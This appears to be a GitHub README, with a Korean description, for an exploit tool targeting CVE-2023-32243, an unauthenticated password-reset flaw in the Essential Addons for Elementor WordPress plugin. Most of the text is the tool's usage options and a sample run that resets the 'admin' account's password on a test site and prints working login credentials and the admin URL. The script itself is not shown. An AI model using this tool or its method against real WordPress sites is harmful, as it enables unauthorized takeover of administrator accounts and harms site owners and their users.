randomrobbiebf/cve-2023-32243CVE-2023-32243 - Essential Addons for Elementor 5.4.0-5.7.1 - 인증되지 않은 권한 상승
Essential Addons for Elementor 5.4.0-5.7.1 - 인증되지 않은 권한 상승
이 플러그인은 비밀번호 재설정 키를 검증하지 않아, 인증되지 않은 공격자가 관련 이메일이나 사용자 이름을 알고 있으면 임의 계정의 비밀번호를 원하는 대로 재설정하여 접근 권한을 획득할 수 있습니다.
pip install -r requirements.txt
usage: exploit.py [-h] -u URL -p PASSWORD [-usr USERNAME]
options:
-h, --help show this help message and exit
-u URL, --url URL URL of the WordPress site
-p PASSWORD, --password PASSWORD
Password to set for the selected username
-usr USERNAME, --username USERNAME
Username of the user to reset if you already know it.
python3 exploit.py --url http://wordpress.lan --password "adminadmin2"
Please select a username:
1. admin
> 1
Nonce value: f010bc2ac9
All Set! You can now login using the following credentials:
Username: admin
Password: adminadmin2
Admin Url: http://wordpress.lan/wp-admin/